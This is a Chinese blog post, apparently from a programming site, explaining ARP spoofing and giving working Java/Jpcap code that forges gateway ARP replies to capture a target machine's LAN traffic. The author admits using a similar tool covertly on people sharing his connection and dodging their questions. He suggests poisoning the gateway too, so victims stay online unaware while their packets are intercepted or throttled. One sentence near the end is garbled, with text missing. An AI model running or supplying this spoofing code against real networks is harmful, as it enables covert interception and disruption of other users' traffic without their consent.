使用通過ARP類似P2P終結者實現(xiàn)數(shù)據(jù)封包
如果說最近有什么不爽的事情,那就是與人共享網(wǎng)絡的痛苦了,特別是當其他共享者使用那些P2P工具下載軟件,而你卻看著網(wǎng)頁進度條一點點爬的時候,那種痛苦對于我這種網(wǎng)蟲級別的人來說,那簡直就是痛不欲生。絕對不能再忍了,于是乎上網(wǎng)下載P2P終結者,哼,你們不仁我則不義,看誰厲害。軟件下好后,立刻啟動監(jiān)控,然后嘗試了下速度,哇,那個爽啊??上Ш镁安婚L,沒多久對方就跑來問我為什么他們斷網(wǎng)了?我楞了一下,那垃圾軟件居然連對方的網(wǎng)都斷了,于是支支唔唔的應付了他,說我看下,總算勉強過關,還好他們不懂電腦,不然就掉大了(貌視挺卑鄙的,別BS俺,俺也是迫不得已)。
沒辦法,那破爛軟件居然連人家網(wǎng)都斷了,我僅僅只是想給他們限速而已(還算有點良心),仔細查看了下文檔,使用的方式都沒問題啊,為什么會這樣呢?想了半天也毫無頭緒,沒辦法,看來只能自己動手了,于是乎上網(wǎng)找了些關于這方面的資料看了下,也寫了一點代碼做試驗,由于時間有限也只寫了一點,不過總體的做法大概是有所了解,在這里就寫一篇文章大概記錄一下自己的做法,以便作為日記又可與大眾分享下。
其實目前網(wǎng)絡上類似P2P終結者這類軟件,主要都是基于ARP欺騙實現(xiàn)的,網(wǎng)絡上到處都有關于ARP欺騙的介紹,不過為了本文讀者不需要再去查找,我就在這里大概講解一下。
ARP(Address Resolution Protocol)既地址解釋協(xié)議,主要的目的是用于進行IP和MAC地址解釋的。IP是網(wǎng)絡層協(xié)議,而MAC是被數(shù)據(jù)鏈路層使用。網(wǎng)絡中兩個節(jié)點要進行通信,那么首先發(fā)送端必須要知道源和目的地的MAC地址,而網(wǎng)絡層是使用IP地址,所以要獲得MAC地址,就必須通過IP地址獲取對應的MAC地址,這樣就需要使用ARP協(xié)議將IP地址轉換為MAC地址,而同時為了能夠快速的找到目的地的MAC地址,每個節(jié)點都會有一個ARP緩存,用于保存已經(jīng)轉好好的MAC地址,大家可以在控制臺下使用arp –a指令查看arp緩存表。
而ARP具體過程就是當需要通過IP獲取一個遠端的的MAC地址的時候,系統(tǒng)會首先檢查ARP表中是否存在對應的IP地址,如果沒有,則發(fā)送一個ARP廣播,當某一個擁有這個MAC地址的節(jié)點收到ARP請求的時候,會創(chuàng)建一個ARP reply包,并發(fā)送到ARP請求的源節(jié)點,ARP Reply包中就包含了目的地節(jié)點的MAC地址,在源節(jié)點接受到這個reply后,會將目的地節(jié)點的MAC地址保存在ARP緩存表中,下一次再次請求同一IP地址的時候,系統(tǒng)將會從ARP表中直接獲取目的地MAC地址,而不需要再次發(fā)送ARP廣播。
看到這里,ARP的具體過程大概講解了一遍,希望能夠解釋清楚。相信有心的朋友一定已經(jīng)開始考慮ARP欺騙的原理了吧,其實就是利用ARP表進行ARP欺騙,比如一臺局域網(wǎng)內(nèi)的機器A,通過網(wǎng)關B進行internet連接,而它的arp表中保存著網(wǎng)關B的IP和MAC地址對,如下:
192.168.1.1 —> MAC1(懶得寫那么長了,就以MAC1作為MAC地址了)
那么也就是說,當A想上網(wǎng)的時候,他所有的數(shù)據(jù)都將先發(fā)送到網(wǎng)關再由網(wǎng)關轉發(fā)出去,那么A的數(shù)據(jù)首先會通過192.168.1.1找到網(wǎng)關的MAC地址MAC1,然后就可把數(shù)據(jù)發(fā)送到網(wǎng)關了。此時你的機器是C,MAC地址是MAC2,你想通過ARP欺騙來獲取A傳輸?shù)臄?shù)據(jù),那么你所需要做的事情其實很簡單,就是將機器A的ARP表中192.168.1.1對應的MAC地址MAC1改成MAC2即可,這樣子機器A所有發(fā)送到192.168.1.1的數(shù)據(jù)就會發(fā)到MAC地址為MAC2的機器上,也就是你的機器上了。
要更改APR表的記錄,辦法就是偽造一個ARP reply包發(fā)送給機器A,而這個ARP reply包中的源IP為192.168.1.1,MAC地址為MAC2既你的機器的MAC地址即可,機器A接受到后就會將這個源IP和MAC刷新到它的ARP緩存表中,覆蓋原有的記錄,最終這樣就可以達到ARP欺騙的目的了。
在這里,我實現(xiàn)了一個簡單的封包截取程序,根據(jù)ARP欺騙的原理,我們所需要做的事情如下:
1、構建一個ARP Reply包
2、將該封包發(fā)送到需要欺騙的機器
代碼如下:
public class LocalListener {
private final static String GATE_IP = "192.168.11.1";
private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};
private JpcapCaptor jpcap; //與設備的連接
private JpcapSender sender; //用于發(fā)送的實例
private Packet replyPacket; //ARP reply包
private NetworkInterface device; //當前機器網(wǎng)卡設備
private IpMacMap targetIpMacMap; //目的地IP MAC對
public LocalListener(IpMacMap target) throws Exception {
NetworkInterface[] devices = JpcapCaptor.getDeviceList(); device = devices[1];
this.targetIpMacMap = target;
initSender();
initPacket();
}
private void initSender() throws Exception {
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打開與設備的連接
jpcap.setFilter("ip", true);
sender = jpcap.getJpcapSenderInstance();
}
private void initPacket() throws Exception {
//reply包的源IP和MAC地址,此IP-MAC對將會被映射到ARP表
IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);
//創(chuàng)建修改目標機器ARP的包
replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);
//創(chuàng)建以太網(wǎng)頭信息,并打包進reply包
replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
device.mac_address);
}
public void listen() throws InterruptedException{
Thread t = new Thread(new Runnable() {
public void run() {
//發(fā)送reply封包,修改目的地arp表, arp表會在一段時間內(nèi)被更新,所以需要不停發(fā)送
while(true){
send();
try {
Thread.sleep(500);
} catch (InterruptedException ex) {
Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
});
t.start();
//截獲當前網(wǎng)絡設備的封包收發(fā)信息
while(true){
IPPacket ipPacket = (IPPacket)jpcap.getPacket();
System.out.println(ipPacket);
}
}}
//IP-MAC實體,只用于保存一對IP-MAC地址
public class IpMacMap {
private String ip;
private byte[] mac;
public IpMacMap(){
}
public IpMacMap(String ip, byte[] mac){
this.ip = ip;
this.mac = mac;
}
public String getIp() {
return ip;
}
public void setIp(String ip) {
this.ip = ip;
}
public byte[] getMac() {
return mac;
}
public void setMac(byte[] mac) {
this.mac = mac;
}
}
//ARP reply包生成類,用于根據(jù)目的地址和源地址生成reply包
public class ARPPacketGern{
public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
ARPPacket arpTarget = new ARPPacket();
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //選擇以太網(wǎng)類型(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //選擇IP網(wǎng)絡協(xié)議類型
arpTarget.operation = ARPPacket.ARP_REPLY; //選擇REPLY類型
arpTarget.hlen = 6; //MAC地址長度固定6個字節(jié)
arpTarget.plen = 4; //IP地址長度固定4個字節(jié)
arpTarget.target_hardaddr = target.getMac();
arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
arpTarget.sender_hardaddr = sender.getMac();
arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
return arpTarget;
}
}
//根據(jù)目的地MAC和源MAC構建以太網(wǎng)頭信息,用于傳輸數(shù)據(jù)
public class EthernetPacketGern{
public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
EthernetPacket ethToTarget = new EthernetPacket(); //創(chuàng)建一個以太網(wǎng)頭
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //選擇以太包類型
ethToTarget.dst_mac = targetMac;
ethToTarget.src_mac = senderMac;
return ethToTarget;
}
}
如上代碼實現(xiàn)了創(chuàng)建一個發(fā)送到IP為192.168.11.4的機器的ARP reply封包,其中可看到,reply包中的源IP為192.168.11.1,而源MAC則被改成當前機器的MAC地址,既device.mac_address,這樣當192.168.11.4的機器接收到該reply包后,就會刷新ARP表,并且所有發(fā)送往192.168.11.1的數(shù)據(jù)都會實際發(fā)送到當前運行該程序的機器。程序中創(chuàng)建了一個線程用于循環(huán)發(fā)送reply封包,主要是因為ARP表會在一定時間內(nèi)更新,所以要器,卻導致對方無法上網(wǎng),知道有問題啦,所以以上程序仍然要加個補充,那就是將封包數(shù)據(jù)在轉發(fā)到192.168.11.1上,只要將截獲的封包再send出去就可以了,具體如何做就留給大家想吧,困了,休息了,如果有朋友有興趣又實在想不出如何做的話,可以向我提出來,有必要的話,下次再貼一個完整點的例子吧。
對了,最后還有補充的地方,那就是我們可以通過同樣的方式刷新網(wǎng)關的ARP,這樣網(wǎng)關接受到的數(shù)據(jù)也會被本機截獲,同樣再通過本機轉發(fā)到目的機器即可。這樣對方既可正常上網(wǎng),而我們又可截獲對方的數(shù)據(jù)包,如果要進行限速的話,那就是在截獲封包的同時,進行一定的延時,比如一秒只允許多少K的數(shù)據(jù)通過,都可以在這里做手腳,同樣的,具體如何留給大家想吧,^ o ^。
相關文章
SpringBoot2整合JTA組件實現(xiàn)多數(shù)據(jù)源事務管理
這篇文章主要介紹了SpringBoot2整合JTA組件實現(xiàn)多數(shù)據(jù)源事務管理,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2021-03-03RestTemplate發(fā)送form-data請求上傳rul資源文件及對象參數(shù)方式
這篇文章主要介紹了RestTemplate發(fā)送form-data請求上傳rul資源文件及對象參數(shù)方式,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教2024-01-01MyBatis在insert插入操作時返回主鍵ID的配置(推薦)
這篇文章主要介紹了MyBatis在insert插入操作時返回主鍵ID的配置的相關資料,需要的朋友可以參考下2017-10-10Java?nacos動態(tài)配置實現(xiàn)流程詳解
使用動態(tài)配置的原因是properties和yaml是寫到項目中的,好多時候有些配置需要修改,每次修改就要重新啟動項目,不僅增加了系統(tǒng)的不穩(wěn)定性,也大大提高了維護成本,非常麻煩,且耗費時間2022-09-09